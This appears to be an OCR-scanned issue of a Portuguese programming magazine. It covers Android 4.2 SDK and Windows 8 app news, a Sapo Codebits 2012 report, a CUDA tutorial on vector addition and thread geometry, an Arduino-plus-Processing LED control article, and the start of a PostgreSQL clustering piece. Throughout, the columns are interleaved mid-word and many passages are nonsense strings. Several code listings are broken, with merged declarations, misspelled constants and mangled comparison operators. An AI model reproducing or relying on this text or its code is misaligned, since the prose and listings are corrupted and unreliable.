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SDK do Androi d@Wi ndows 8
di sponz2vel aplica-»es

A Google j8 disponibilizou o k,t,.de desenvoIV|mento da v.er s«o
4 2 . ; i IA R/Ilé:rosof AP1! ugal atnunCIOU a
_.t 0“5|s emsildozera:j i vo m-vea%pg rp%'r(j‘t“ugu% a} rrr]gmfeglj_gsdgegﬁl“
mitem ° comunidade de programadorgs o JdeepVOLVEL RIS CEi st ema
-»es gque corram naquela vers«o ,da plataforma}, 948 ® §, mai
q t bh t od nha redvelado al'gumas aplica->»>es
usada em smartphones por 040 P MM % i nha garantldo gue mai s ¢
O Android 4.2 foi apresentado pelparOGmoeosgSIaeS N P raogsopgt'sgcaugn%prum
de outubro, data de apresenta-«o dg@ ngyos Ne X f ag
mai s ap |ca-»e |0nelém)rstsm
zem as honras de estreia desta aV &S % p's® NPV \H ad Jeé -
de” apps do ndows u at L

an.
I

mi softwares dedicados ao novo
A mais recente vers«o do Android idet eagrld crae I»e®r iraesl accd omaweals ¢
da performance, que ir«o ter compadita- nass«apldsamdies , r eqgouree sen
gra-as a esse upgrade ter«o cappgs-despopnirhi laiszadas.arBammaa SAP
mel hor performance. Outra novimdade pemai hneesbsdomeas.a Mat2cia

programadores ®, por exemplo, Recpodsbbbl adad¢edi deesdeguavohegam
ver widgets para o ecr« de bl oWiuedoowsdo8 .diA pagp tBamco Esp2rito

) ) . de Poupan-a do Montepio Ger al t a

Na perspetiva do utilizador, entr e S novidades m |F.relevan
) ) on2veis na | o0oja de aprlica-»es.

tes da atualiza-«0 ao sistema operativo est«o a possibilidade
de definir diferentes perfis Heiuttémiem-psopeamanalmai sdovs radr
mesmo equi pament o. como o EatOut gue d§8 informa-»e
. . g_ogular,es de uma | ocaliza-«0 ou

As novas funcionalidades associ daﬁ_| cOmara tamb®m s «Q

. ) ers D, qgue permite ao utilizad
interessentes e permitem fazer f?to rafias de 360 %r%us, tor -
) . unt o e imagens Tque odem ser u

nando parte integrante do S|stdema op.er.ati vo_ uma funmoHaIlda-
q i s di — q |spos§| t.ivo. IlEm comunicado de ir
e aue | era Psponi bl zada pofy g c{deasngpllnggige%'e dezembro
aplica-»es desenvolvidas em Port

SDK deste renovado Jelly Beann? vpeold emusnedri ade's.carregados no

site para programadores da Gooﬁgleerhpresa est§ empenhada em fome

de novos softwares para o Window
Escrito ao abrigo do novo Acoruma Omaroagtrosrfa cbe 48 horas para o
-»es a meio de novembro, al ®m d
vers»es das iniciativas App Me U
dar 8 oportunidade aos programado
vos equipados com Windows 8 e Wi:i
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0s 92 projetos inscritos, nem t

j Yar i do evento e 0s restantes

heram entre si o] mel hores pr
S

ta edi-«o0o do Sapo Codebi

emana e ainda deve estar

articipantes. Mas para a

iveram oportunidade de i

s marcantes do maior evento de programa-«o0o a nz2vel

nal . Ficou ainda a promessa de que em
volta e com mais for-a: O concur

nh« do dia 15 j§8§ a fil a aste® paoo| ontgray al ddpodod aAdlaoOrStail ao |

do Pavil h«o Atl ©nti co. B\rsasd ézenas de pal estras e

hops bem como o "peso" do nome de alguns oradores,

Mi tch Al t man, Diogo Ferreira e Ricardo Cerqueira, al i a-

s diferentes competi-»esFaogute:acoeik eep@am durante o0s

dias moveram centenas de participantes.

de palestras, o palco p
entou algumas novidades,
rtida para o in2cio ofic
rar algumas equipas a de
om o0s projetos anunci ado:
novado sistema de Meo Ka
rvi -o para mais utilizadd
aos subscritores do Meo
Pad atrav®s de uma apl i cd

qgue o0s participantes pudd
di sponibilizou ferramen
da plataforma Meo, per mi
o servi-o CloudPT, anunc
u a estar em destaque no

novidades chegaram atr avd
trav®s da iniciativa conjunta com as universidades portu-
s conhecida como Sapo La i =

numa rede" com a ag°nci
ria, desta feita com a

o Codebits 2012 deu aind
|l gumas das principais te
0. A 8rea da i mpress«o
n e durante tr°s dias o

antes do espa-o Hardwar e

ro computador Raspberry |
foi representado por Ro
inteiro da marca e evan/
Rob Bi shop, gue deu uma
re" de cerca de 120 "apr ¢ ;
s de tirar um proveito do computador do tamanho de um

o de cr®dito e com um pre-o reduzido. A organiza-«o0 do
o equilibrou a balan-a do avan-o tecnol  -gico com a pre-
do Arcade Man e das suas consolas de arcada em re-

a- «o.
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Nos %l timos anos, asi Qrlaapchaisc ad c&fdime-asa( GWUead. Assim, a thread
cessing glamihtar am relevOncia nor@®mMA[0¢ +dB4 0¢ o mpwtaa da@acmdo o result
par al el a. De facto, os mais r ecwelnares MmolHletBslldaeBbviIBvAndoda r ¢
AMD/ AT™Ioi s dos maiores construtsoarcessdoeameates odcidasando que
it°m na ordem do mil har de n®Bm sosmul é O peocetsdment et or soma
ficoredo na dess@nanikoa.anBGrxempl oe admerstoe.® £Eanessa metodol ogia pa
GPU NVIDIA GTX 680 que tem 15306A ne¥cal eeoxse c ue s«toa nedo CGPrUediNum cont ¢
tada com um desempenho m8xi mo o( tdeo- rCiPdJg) ode 83 .cul|l DFldOPS et or S ®

em c8lculo de v2rgula flutuantcd cd ®m gpuree ciitsexroa sé€ mpbeaa, svereds i Vv
que um TFLOPS cot’nepspandesadda®Ondirgalia (entre 0 e 31) dos vetol
flutuante por segundo.
Contudo, do ponto de vista de t A «o parlala 't adef POuF M
cCco serve a exist°ncia de milhai > cores se seu uso estl-
ver |limitado somente ~ produ- « rDtAmento dF Srple A | b
Foi pois a pensar na comunidade computa-«o paralé&l
no potenci al mercado que essa Cj ijse ta u2 QJD,-,S: d E
l an-ou em Novembro de 2006, S « pl at f
Compute Unified Device Archltec e (CUDA) Emb a : -
do "'s GPU da NVI DI A, as sucessrnva-s v@rQ>e-s de ClLbA me
tornaram poss2vel o0 uso de GPU ara. o desenvol vi men
execu- «o de computa-«o paraleledocre |Iane quala. En
guns cen8rios deéraovamenbe«de i magens e
vi deo, processamento de dados A @rblaitta&o»ensa CUDANf or m§ti cas,
ettas P r rci nam vel i
. G U proporciona et oc dl?d das Yelxretcuude«sO u'éLPDA ® o fac
mai s r§pidas do que as alcan- ) ocess ores . .
. . . v dYeP s mpl es extens«o i
(CPU) . Nest e acrstei goos icnatnrcoediutzoe b§sncos de
rogr ama o] aralel a ara a Iatafordmoa cCoUmpIementada por um ¢o
- K
P 9 P P P ffun- »es. &este modo, um progr a
Paralelismo na GPU l'inguagem C rapidamente se torns
. . a5500|a-«o do CUDA © Ilinguagem C
At hr®aad entidade ativa na GPU, gue executa as _ instru-
. ‘g m C ® popular no desen ol vi men
-»es do c-digo. O parales$sésma  de uma GPU b%sela
. o . . entes ﬂe al to esempenho. A NVI D
exist®°ncia simult®©nea de Iargos mbl ares d8 ISAlrelgds um@gs
gdem + + Ipara U : ard al ®m do
em execu-«mor¢exadata uma thread), outtr as a . .
aguardarem a sua vez cmredjisasppoonrg§n<<SOUpeoxritsetinr«o oficial para 1ind
. o Java, Vi a PX]CeUT)A e JCUDﬁ, respet.|
veis ou porque um pedido de acesso mem-ria efetuado
por essas threads ainda n«o esA Splcatnazfi arma. CUDA di sponibiliza
-«a@:unteédiei.\Oern2rvent ® m mai s alto
Apesar do mesmo nome, as threads executadeas e@uma ggPU
. assent.a oi,wmneav 0 nZvel focado
di ferem bastante das threads quge exi,stem no conhtexto e um
i dentificadores €glconzsta.nrtuen;tlrﬁeun
processo em execu-«0 no CPU. A pI’InCIé)fa_l carater 2sti S
t°m o pr i X0 cud,a, comaeugar e
das threads de GPU ® que executam um mes mo C-dI%O,
. MemcpdyA exicein B« ce mp r gnue Bara i de
variando para cada uma del as os dados em.que OUera o
. ros com c: di o) AL
sej a, executam as mesmas instru-»es sobre“dados diferen-
tes. Este model @omdgbeghastrucOi ondiMgdtéepeéeutado na GPU pel as
Threa8sMT) . Por e xesneplqgou e csoen spikdectrdgéard & er mos de <c¢c-di gosseum lenan e
somar doiisA vedttBbme 82 i nteiros dada,«oporcofroranaexce-«0 queh@®@vprec

a obter como resultado wusnevatos+ géoimealqgue Quoxmos ipdeernei t e val or de

da que se disp»e de 32 threadmostcraa a o akrearVinedtéonrttesstt ie c akdear npedr r e c
um inteiro distinto que vari apaerndmeet r®@se o8 1v e tNar easb lwdr edoaigrtne € r 0
CUDA, cada thread ir8 procedequeao nad8lcauloo ndsamesomde debement os
el ementos dos vetores A e B cujeotsirndi ®epsegenchigdal pabaedendef i
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conte%do do kernel, bem como or espiegtniidfoisc aedrot rdeo sbliadens i di fcadent e
relsl ockJ)hbdixocxk Digmi i Demhkxeaddaxg§ gom 2ndice 0O em cada bloco da ge
explicado mais adiante. thread com 2ndice 1 e assim suce:
__global__ void somaVetores(int *a, int *b, int Para al ®&m dos idenblbtchkbherndestdhe
*s, int  n) ad t Hr ead | dx CUDA di sponibiliza

{ bl ock®uen devolve o tamanho do bl
int tid= blockldx.x*blockDim.x+thread|dx.x; medido em threads. Noblaekmpd m. x o
igual a 16 correspondendo s 16

int deslocamento = gridDim.x*blockDim.x; bl obd o€t kDéml gckD$@o zambos iguais

dado a geometria ser unidimensio
Listagem 1: Kernel somaVetores apgfidadaemoc jdigyeq tdiDfuiec ardeodre o n¥mer o d
nas v8rias di mensgreisdD®®Nw2xex@empéd

. . pondendo aos dois bl ocos. A Figu
Quando compil ado, o c-digo de ker ndel ® tra}nsformado
) threa por bT ocos Tresultante
pel o compil ador CUDA (n\Pcad)aIdaglléznsld'u > es PTX (
Thread eXequetiesro executadas pelas GPU que su-
portam CUDA, i sto ®, praticamen
produzi das desde 2007. Par a a
__globaluma outra pal avr a, i del n m §¢®¢ Mp n Mo eoo| mp
__devi.ceA diferen-a entre ambas | |
cado cognl obpaelr_mite que seja Cha”‘F@QQrapﬁ Q,|0Q;PLJ,e threads resultantes d
sendo pois um ponto de entrada para execu-«0 na GPU, ao
passo que dedigmenas pode ser chamado a
partir de c¢c-digo da GPU, seja GCe8slsceulco ddieg @ nudm ckeesr meol Koeuw nwerha s 0 m
outra fun-«o tamb®m__ediavu.<degl|,\§0| Ccaadsao Ca@@rﬁee\/rert@ﬂrneescess§rio asse:
Execu-«o0o de um kernel todos os el ementos dos vetores
Para al®m desta premissa b8sica
No CUDA, a chamada para execu-.«0 e um ker.netl .rba.GP .
exlil st a ma di ri Ui ~«o uni for me
® efetuada atrav®s do opbeqmaj-oae<r<r]gdo.5>aué1at0fuoarsmaas threads pi
Kernel<<<GeoBIocos,qCﬁJeeonherfelandes>8>>g F(L,‘Egnt_os dos vetores A e B.
de execu-«0 em blocos e em threads dASS|m u ma grelha e
for me’ e “trabalhoYpotencrda um m
execu-«o0 cont®m bl ocos, sendo C}Ff f:ada bl oco cont ®m
. : atal elllsmo.
threads. OGpabBlOonetddsioc a a geome? a de bl o-
cos pretendidas. Por &euoaThweadJén@ phpomhage relativamente sim
define, para cada bloco, a org)a(roi023§$<adnegjlé@m®t0r5i@éecm@@tpﬁrde v
ads. I mporta notar gque cada bti@cmo ®C 8lsctualnog uke eurm r2endai-c«eo i Ni Ci
aos outros blocos, significanEssgueé nds cehPeaeprpeetitdddoenpekago
a um bloco apenas podem sincrdmnilkeasromAdmt ouseasrakco thaleauwlsado cor
pertencentes ao mesmo bl oco. produto do tambhhmekdonmpkld @c® ndi c
N Ge 0SBil & h 4 dn bl oco chrldmekt)faxcx escido do i den
0 caso mai oBil mEe®ess T hr ¢ sap‘?hretahdre(ao)ldee>Gum|n 0 valdr i
nas uma di mens«o, podendo ser depresentados PO n1/4n%
) ) ctal cul ado da e forma
inteiros. Por exempl o, a chamada <<<2,16>>> Ie va a que o
kernel seja executado por 2 blocos tdidst=i mtl okl da&d & *BIl ®€ & Dd ¢m X -
16 tkhrea(ljs, pedrfabzlendo (;m ;OtaFIadele| mz’ezntehreead80nypatad'q®%% de D
um ernet, c_a a ) 900 ' ent('blocdalcom:prhllagmaxq |a'/da0)|ar§mern'tcr0e 0
guarzdz;go no |d§mltodklcmmm§r rQiJlUDeAésm;aloobloco)z Jb? 160 thread d o
<<<e, >>_> varta gntre ( lggg?(hcl(lldg)ump a Rfo)ga affMdo
po .x designa a dimens«o .xy2&E us’necmaa'drle 3 Y cLLAMRYS f 0 e 31
di mens«a)3Ue di mens «o0) mas neste., Cea&seoc’u-%o\,/algﬁadﬁm dos primeir
ambos ® sempre zero, .dado .qu.eso ié‘?§n%lal%ﬁ}%,rdoapg(r;rcgégcﬁjr'na da:
tado com uma geometri a unldlmen5|onal. Similar ment e, o]
2

ndice num®rico de cada threald Mg @&ceyssz2ymp bhreagdsdelloer mir
dentifhcaddquea, xpara o exemplS@&demntagrkue tem que processar? .
varia entre 0 (primeira thread)aleriso( #intdii)me ocwdressedotcea nfe mteoc ecso
s§rio ter em aten-«o0o que o0s itdenapfintianedopredodal tleedds eqads el



T EMA

threads ® dado pelo
execug«o dDi mpel o
(bl ockDi,mowu sej a:

desl ocament o =

()

int

while (tid < n){
(..)

deslocamento = gridDim.x*blockDim.x;

podbl|l seascadittai- d a

produto do- cdhiYgnerdet et ab

n“mer o de t hGeetakdrsr op ®1Or bhdt go dex eempsltiafgieca 4a
-«0 de erro em CUDA. Por uma (gue
. . ta te dlgo apresentado neste a
gridbim. x rl)r C(}D '&(as fun-»es CUDA, n«o
de erro.
&¢'

cudaError_t err;
err = cudaMalloc((  void **)&dev_A, N *
if (‘err = cudaSuccess){

sizeof (int ));

dnpglrdé& qrbcpp* 0Cppm8 o0#q9qb6ZI| A*
Listagem 2: C8lculo do 2ndice do} (err)),
Este processo de c8lculo e pr &¢
te ® repetido, em ciclo, pela threaidstage(@n f:U@®etOe- 20 ik Ce& 1 € Onfu e It 4
da thread seja igual ou super or ao r?1/4mer0 de elementos
g s a aloca-«o a mem-r da GP
dos vetores ansoAmeLrlstlasgte(m@ dF taca a garte
an-ar X e.c §6 m avgborkysrmlalse ne
do kernel afeta ao c8lculo nd| se ui.nt om-
sfr o riouir os val or de ent
pleto de®okay atebsrteds n a Llstagem
c-dlgo em ans8lise esdexwedMeprBsen
Mem-ria CPU vs mem-ria GPU Por se tratarem de vetores que e
atribui-«0o de valores aos veto
Dado ser executado na GPU, umakernel apenas p de %edeg
. mente a é”t['(r do CPU. ara o e
mem-ria da GPU. Deste snomda- ng casopo o] ernel
cada vetor, criar um \(/@etmalhocCP‘
Vet oress vetores A,B e S que s«o asstos.c?mo par -
do C e -lmiacaonmn 09§vaé|9res preten
metros devem corresponder a zonas’ ' de mem-rlda do U.
cop?(ea caija um 0s thorgs do CPU
De facto, ® um erro passar a um erne vetoreoé alocados na
. . atrav®s de_ umacu uatMeamcppym]m@(oo nom
mem-ria RAM do CPU, poi s essezuen(rjgre-agaﬁé\mgms«oia/ Im_a deterr
dos na GPU, dado que 0s espa-o0s gdee_e’ndere-anbentpcys CPlfJ
. qguanti dade de ytes entre uma zo
e GPU s«o0o diferentes. Para a aloca-«o0 de, mem:ria_no .eSJ)a-
a[TR]-rl_a da. , Ogrlmlro par
-0 de endere-amento da GPU, o, C djsgonlbl i za fun-
de estino, 0O segundo par®©metro
-«oudaMadquecdeve ser chamada no ,c-di go execut a- .
O tercelro par©metro deflne 0O nY
do pelo CPU. Tal como sucede corp a aloca-«o e mem-: a
. nal ment e, O quarto e 1/4It|mo par ¢
no CPU vi amal |foushu a«xodo um deter mi nado bIoSo . .
. . c- pli.,a, c%edra mcpyHostpiaorDeeviceei a
de mem-ri a preV|ament€euthaonc atr.avg d
. mem- ri.a ? P U paudaMem@l@l%DGBV|c
dei xa de ser necessS8rio, deve _ser l'i ' ber ado, .recorren
ToHopdra o sent,ido contr .
fun-cwdaFgee tem um comportamento similar fun-
-«brde C. C-digo completo
int  *dev_A, *dev_B, *dev_S; J§8 nos ® poss2vel complsomaVe- c:-
int  N=32; tores(.Lduistagem 5). No c-digo da

¢

cudaMalloc(&(dev_A), N*
cudaMalloc(&(dev_B), N*
cudaMalloc(&(dev_S), N*

Listagem 3:

sizeof (int ));
sizeof (int ));
sizeof (int ));

Al oca-«o

A Listagem 3 il
vetores A,
res A,

GPdewW) ce £ i

Mal laopcr esent a uma

ustra a
B devEmpOegpuefnaD
B & eS adesdthicraa
mportante

interf arad | dictled@$Ht2S d%R° ¥ din-

executado pel ose€PUL) pr oxleadea- «o0,

do CPU, dos vetores host _A, hos:H

chensdeo o0s vetores host A e host _

de mem-ria das &PYp viead & ndagm! lsog mar , neste caso ¢
al oca- @ ® N -meSk.oviidagng ngey d8)a adLcam
idVeenttoirfeiSc*aodoeV—A’ dev B e dev _ S, p

me mPP| &8 d8fr¥2pOffs de host A e hc

gue a

noou cha - df Ve a tcruadva®be mcaEyd tuao «e |

»&S PasamaVekerces.

Aaerdav B

do C. Asdiamateoebe o endere-dado GPdhteitloet unramavetioa es<<<2,1
gue, em caso de sucesso na al dd@Ved, di€\VeBr PPY SPPRNEIXLC Up &0 d O
a mem-ria alocada na GPU. O S86§c&8so &QPkRed@- - d@ptgg de resul
fun-cawadaMal lcoomo de muitas out PSSt Pn-6 eSOEYpHE@Nt esido dos vetc
® avaliado atrav®s do valor deQSlvA d® NPeSita Bryubedycogo dpoyet:
cudaSucsiegsifica que a execu-280VEhIfibheH# stce@flg;«0o do -sreesult

contr8rio
di go de

caso

ao C erro.

ocorreu

erro ea8@ JVdIPETrt@Rdvoda i B8 Mc
mensad@f"EEMNS08NHAI PRchEBt &1ode

bir § & ECEEU-@Y ®s

Uma me m- r



TEMA DA C

Apesar de se |l an-ar o kernel | free(host_S);
c-digo est8 preparado para s: return  0O;
outra <configura-«o (unidimens}
<<<8,32>>> o0U <<<16,64>>>, Por raz»es de eticl“ncla rela-
cionadas com o escalonamento inter dhAS'd4%™ Phrted'd?® @ Mpleed g-do soma
mendado que o0 n¥wmero de thread:smpbrab&@c@se)seadua-<soempre
m¥%l ti plo de 32. Note se ainda que o0 .¢c-digo est§ do
. o compil ar «o omap\titg(rr ceutuada
para qualquer valor de N positivo hadiidtad em rePue
N=20)4.8 atrav®s donwogpu@gr @®mao ador o
- ' NVI DI A. O nvcc requer a exist®°nc
Uma observa-«o importante: dard® dee €xeguuie- ®0 c ld@makdeor npedr a ef et u.
ocorrer na GPU, o0 CPU prosseggeeasexedest«knal agseapexseocutado n
|l an-amento do kernel, n«o espeowsn,doo poompipled dao rc oenxctl eurskao ® o N
do kernel. Este assincroni smo pra«sec oc aquusea e@mobil emas ®de mporegue o
corr°ncia, pois uma fun-«o CUDaAmhgiueen teensv oWivmnad caw sGP UL iagwxare Mac OS
da sempre que a anterior fun-«o CU%A tenha terminado (as
comando @ asaxmam‘pse4a-
fun-»es CUDA s«0 s2ncronas entre@ 65 Alsrs1|tm, qu 0 se
procede " c-pia do vetor soma ¢’ s§ selgu Vetor host _S, a
fun-cwadaMemcmpenas efetua a c:-pia gquiavncdco sao M@Vt soena Vew or es . exe
tiver efetivamente terminado a execal-«o 0 kernel
Se estiver correto, serg§ ¢
#include <stdio.h> somaVetorgeuwe exeede ser executado
#include <cuda.h> _ ] _ onal atrav®s da linha de comando.
__global__ void somaVetores(int *a, int *b, int
_ _ _ *s, int n){ Geometria de execu-«o0o multidi men:
int tid=blockDim.x*blockldx.x + threadldx.x;
int deslocamento = gridDim.x * blockDim.x; J§8 indicamos que a geometria de
while (tid < nj{ : pode ser mul tidi mensional De f a
s[tid]=a[tid] + b[tid]; ) ) )
tid += deslocamento; metria de execu-«o0 at® tr°s di m
} bl ocos, como ao n2vel das thread

}

'
A

o de geometrias multidimension

int  main( void ){ vari 8veidcki maoAtLpstagem 6 exempl i
int  *host_A, *host_B, *host_S; i
int *devA*devB*devS do keirchxhabma grel ha de 3x2 bl 0C
int N=2048; bl oco composto por wuma geometria
. ( ) malloc( £ (int ) cada um dos 6 blocos ter8§ 16 thr
ost A= ( int *) malloc(N* sizeof (int));
host B = ( int *) malloc(N* sizeof (int )): de 96 threads. O kerne.l n«o. e.fet
host_ S =( int *) malloc(N* sizeof (int )); para cada thread,t horse aiddbeimtcikflidexa c
nas di memsyebPado que o kernel fa
( ] ma SERMDE L =nB (e ri,ntd c-di O requer uma GPU com
cudaMaIIoc(( void **)&dev_A, N sizeof (int )); prt, : g a : rY
cudaMalloc(( void *)&dev_B, N*  sizeof (int )); cional igual oampuwtperd apami 13iethy-
cudaMalloc(( void *)&dev_S, N*  sizeof (int )); do necess§ri o actarscchemstma2 @o mpi- -«
/* Inicializa vetores host_A e host_B */ la-«o do c-digo. Adicionalmente,
for (int i=0; i<N; i++){ ma- «o envipadaofgd &leo nel ® efetivan
Rgg:—g{:}z: da, ts®rmacess§rio sincronizar o
- ' mando se para o ceufdeaiDleovia efSymcho
- (dev_Ahost ANF sizeof (int ) |l ogo ap-s o |l an-amento do kernel
cudaMemcpy(dev_A,host_A,N* sizeof (int ), . :
cudaMemcpyHostToDevice); Uma Vvis«o parci _a I da sa?daxd2a e x
cudaMemcpy(dev_B,host_B,N* sizeof (int ), ® mostrado @a Listagem
cudaMemcpyHostToDevice); )
somaVetores<<<2,16>>>(dev_A, dev_B, dev_S, N); nvcc i dr2Dhegim_2d20x2D. exe
[* Copia resultados GPU ->CPU ¥/
cudaMemcpy(host_S, dev_S, sizeof (int )*N, #include <stdio.h>
_ cudaMemcpyDeviceToHost); #include <cuda.h>
for (int i=0;i<N;i++){ ) __global__  void idx2D( void }{
printf( "[%d]: %d + %d = %d\n" i, printf(  "blockldx=(%d,%d),gridDim=(%d,%d)\n"
host_A[i],host_BJi],host_SJi]); blockldx.x,blockldx.y,threadldx.x,threadldx.y);
}
cudaFree(dev_A);
cudaFree(dev_B); int  main( void ){
cudaFree(dev_S); dim3 Blocks2D(3,2);
free(host_A); dim3 Threads2D(4,4);

free(host_B);

10
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idx2D<<<Blocks2D,Threads2D>>>(); necess8rio ter em considera-«o a
cudaDeviceSynchronize(); rentes da arquitetura dos sisten
) rewrn  0; plo, ® importante numa aplica-«o
transfer°ncias de dados entr
(independentemente do sentido) |
Listagem 6: c-digo do programal iedk@a.scuem virtude ddasodriteecupar
vel ocidade m8xima (te-rica) de t
blockldx=(0,0),thread|dx=(0,0) 8 GB/s (a mais recente arquitetu
blockldx=(0,0),threadldx=(0,1) nadkeepl efaz uso do PCle 3.0 que
HEEU O ER(2:2) m§xi ma de 16 GB/s). Outra aten- «
&¢' sempenho ® um uso correto da hi
blockldx=(2,1),threadldx=(3,1) pr-prio GPU, pois as vS§rias mem:
blockldx=(2,1),threadldx=(3,2) global, |l ocal , constantes e text
blockldx=(2,1),threadldx=(3,3) de banda diferentes. Um uso i nef
comprometer seriamente o desempe

CUDA.

Listagem 7: sa2da (parcial) da exeabedo ®Maiig8x2D. cu

Esta artigo abordou de forma res
CUDA. Aos |l eitores interes®a@os

@) CU DA S U peOt erathagtammbn@ Massively Par

A Hawads Appd odhe hDavi d -Bei KWr k HwWe

g e O me t r I a azgg?n d?a 5c(fonr;esne_ngl,u ClUAengii-ﬁ((eosl®czﬁoirlaoc
CU-«0 at ® [ dba e s cnnernol s
mens»es t a.ntdocs.nvi.dia.c%m
! cDownl oad doncd-edidpes exeépl os no
dos bl ocos C
ao nz2vel | ;

ads.

Notas finais

A relativa simplicidade do CUDA 57U :Jn,;).’_::”_,; > de
programas para serem executado:
Contudo, embora programar em CI ‘ \
acesszvel para quem tenha exper r" | r ,“-\ ,
extrair desempenho de uma GPU ® \ C -

P \/J_J_:—_

t o, obter desempenho com GPU, r
dos algoritmos para um ambiente )

Escrito por Patr2cio Domingues

Doutorado em Engenharia Inform8tica e professor do Departame
Gest«o (ESTG) do Instituto Polit®cnico de Leiria (Il PLeiria).
penho ao Mestrado em Egewhamri-aol M et iomale aborda t: -picos
responssg8vel pel o CUDA Teaching Center da ESTG/ I PLeiria.
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Accl onamento de Led e Al

lntrodu- «o: N«o basta programar uma pequens
. ossamos controlar as ac-»e
Em.contlnua-«o dos. a-tctolngmmlasl%rtjﬁi% 5] bcr_%nte entre o Arduino
duino que tenho V|.ndo a escrevn$rprnoacse5% 'n'g).)e%angSFnéﬂ{Ss’ ap
apresento ne;ta .ed|-«o um ar.tlggdﬂgerala?nrdoaut%rg? %%Se pser§ re
meiras experi°ncias que o uti Ardaudonro pode ter com a platafor -
ma Ardui no, que ® o simples accionamento de um ou mai s
LED. Para snmlserexactamente o output p
) rio def|n| val ores de Out
@) acmonamentu e .con.trolo dosID Jd05,<® lcggﬂhgﬂipfﬁpég_« r‘ﬂ Prc
gue neste artigo irei aprofundar um pouco mai s cri uma

interface grg8fica usando ProceNsOS|enXgerﬂ1FlJ|e0|Sr§gtpler¥trrﬁtm05tcro&1t¢@m@
o0 LED usando um bot«o clic§velligstiadaghtopue ir8§ ser a responss§

LED, ou seja, ligado ou desliga
Esquema EI ®ctrico:
) ) void loop()
Ligar um LED ao Arduino ®
indicados para quem est§ a co..Tcpgdga_p gc _ nmpr_ Qcpg_ | C
rio seguir um esquema el ®ctri ¢ if (Serial.available()>O0) r o
LED em funcionament o. {

-- M cqr _bm qcp¥ ges_j _m t_jmp
O esquema el ®ctrico que el abojappem Processing 0
seguinte: estado = Serial.read();

Serial.print( "Estado: " );
Serial.printin(estado);
.................................................. --Qc m t _jmp pcamjfgbm dmp ;

/ION
if (estado==111)

digitalWrite(ledPin, HIGH);
--Qc m t _jmp pcamjfgbm dmp ;
if (estado ==102)

digitalWrite(ledPin, LOW);

}
}
Tendo definido a vari 8vel estad
mnu | val ores retornados atrav®s da a
ca em Processing, podemos pros:¢
c-digo para o Arduino, que ® mui

--Bcdglgp m Nglm bc Msrnsr bm ?
int ledPin = 13;

(Figureasdquema el ®ctrico leint estado:
Como podem ver apenas ® neces:sq setup()
vo do LED que geral mente ® a
do Arduino enquanto que a per
ser conectado ao GND do ardui

Serial.begin(9600);
pinMode(ledPin, OUTPUT);

. . . void loop()
Muito simples de i mplementar
0S primeiros passos. if (Serial.available() > 0)
Conec-«0 entre o Arduino e a !/ estado = Serial.read();

Serial.print( "Estado: " );
Serial.printin(estado);
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if (estado==111)

digitalWrite(ledPin, HIGH);

if (estado == 102)
digitalWrite(ledPin, LOW);

}
}
Com o c-digo acima indicado
o Arduino necessita para

[ P App_Gr_fica_V_1_0_0 | Processing 1.5.1 I

| File Edit Sketch Tools Help

| App_Gr_fica_V_1_0_0§ | > |
text(str(int(tempC)) + " °C", 275, 95): ;‘
tempF = ((tempC*3)/5) + 32
text(str{int(tempF)) + " F", 275, 115):
grapk
(0
Grafico:™, 250, 210):
& (255,255,255) ;
rect(250,220,200,150):
for (int index = 0; index<1l00; index++)
{
if(index == 99)
tempHistory[index] = tempC;
else
tenpHistory[index] = tempHistory[index + 1]:
point (350 + index, 370 - tempHistory[index]):
}
}
I3 ~|

WARNING:

porta.write(102);
}
Desenho para Interface Gr&8fica el
O desenho da interface de switch
do ao Arduino n«o necessitava de
sual mente polu2do pelo que tentei
si mpl es.

[ Interface Grafica_Acc Led 1 _O1 =10 =1

t emo

desempe

Estado: Led On

(Figunaerface_Grafica_Acc_Le

A implementa-«o da i

resultou do seguinte c-
/limportar  a biblioteca Serial de modoa
/lobter -mos acesso aos dados
/lque circulam na porta Serial

import processing.serial.*;

--Bcdgldg¢©Ompg¥tcgaq

Plmage Led;
Serial porta;
int  buttonl = 0;
mouseClicked(): int estado = 0;
A fun-«o mouseClicked() j§ fa;Vod seup(
em Processing e de um modo g er/pefinir o tamanho da janela
mada ap-s um bot«o do rato e size (400,400); _
do Led = loadimage ("Led.jpg" );
' background (255);
. porta = new Serial( this , "COM3; 9600);
Desta forma as ac-»es que ir «}
sido clicado s«o programadas ¢
cked(). void draw()
_ ) image(Led, 175, 25);
A sintaxe desta fun-«o ® mui t rect (150, 250, 100, 100);
exemplo seguinte: redraw ();
E/OId mouseClicked ( void mouseClicked ()
--? ¢cvnpcqgOS©m b aml bg«©m bm {cgd - pcgnml g¥t cj
--nmp bcjgkgr _p _ ¥pc_ ajgai ¥tc|] bm ~ mr m.
If (mouseX&rt; 150 && ~mouseX < 250 && mouseY f (porta.available() &, 0)
&rt; 250 &&  mouseY < 350)
i - estado = porta.read();
porta.write(111); i (s
If (mouseX&rt; 250 && &rtrpgg(s)eg(g 35rr?o%§er<oﬁfs')%;( I\alor 111 Significa On
{
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if (mouseX&rt; 150 && mouseX< 250 && mouseY
&rt; 250 && mouseY < 350 && buttonl ==0
&& estado == 0)

Concl us«o:

Como ficou demonstrado aci ma ®

{porta.write(lll); uma interface gr8fica capaz de
buttonl = 1; controlar atrav®s dela um LED. C
background (255); . . ;
fill - (0,0,0): mais simples que podem ser imple
textAlign (RIGHY; i mpl ementando uma interface gr 8§f|
text ("Estado: ", 75, 225); vamente a wusabilidade e apar°nci

text ("Led On", 115,225);

menos ao n2vel de interface.

rect (150, 250, 100, 100);
fill (0, 128, 0);

}

/Valor 102 Significa Off

else if (mouseX&rt; 150 && mouseX < 250 &&
mouseY &rt; 250 && mouseY < 350 && buttonl ==

1)

porta.write(102);

buttonl = 0;

background (255);

fill - (0,0,0);

textAlign (RIGHY;

text ("Estado:" , 75, 225);
text ("Led Off* |, 115,225);
rect (150, 250, 100, 100);
fill  (255,0,0);

Apesar de ter algumas | imita-y
dade de sobrepor duas i magens s
cessing ® bastante 8gil e per
com uma sintaxe muito semel ha
ma-«o C (com a qual t amb®m pr oe .

mite dar o0os primeiros passos gr 8f i -
cas e interagir com o Arduino.

A Sintaxe

| T nguagem
sing ® em muli
| hant e ) | 1 n -
guagem

AUTOR

‘ Escrito por Nuno Santos

¢ Curioso e autodidacta com uma grande pai x«o pela programa-«o

y e Comunica-«0o na UTAD mas n«o esconde o sonho de ainda vir a
dor no f-rum Lusorob:-tica s«o algumas das suas actihitdpdes.
omundodaprogramacao. com/
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PostgreSQL como alt

I ntrodu- «o Clustering

Quando projectamos uma aplicaA«di dies smfdavalras ec ode kdaasddeos em cl |
de dados, hg8 tr°s sistemas qu@p-awetso,mamd rctaeanena ealntoad diesnponi bi |
